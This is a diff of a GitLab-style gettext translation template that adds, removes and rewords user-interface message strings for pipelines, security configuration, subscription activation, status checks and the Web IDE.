msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24250,6 +24749,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24283,9 +24785,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24823,7 +25328,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25081,6 +25586,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25765,12 +26267,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25795,9 +26294,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25813,10 +26309,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25825,9 +26321,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,10 +29024,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28516,6 +29036,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28849,6 +29372,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29083,6 +29609,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30350,6 +30885,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,10 +30903,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30590,18 +31131,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31340,6 +32013,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31494,9 +32170,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32585,7 +33255,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33417,9 +34087,6 @@ msgstr[1] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,13 +34318,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34838,6 +35511,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36278,6 +36981,12 @@ msgstr ""
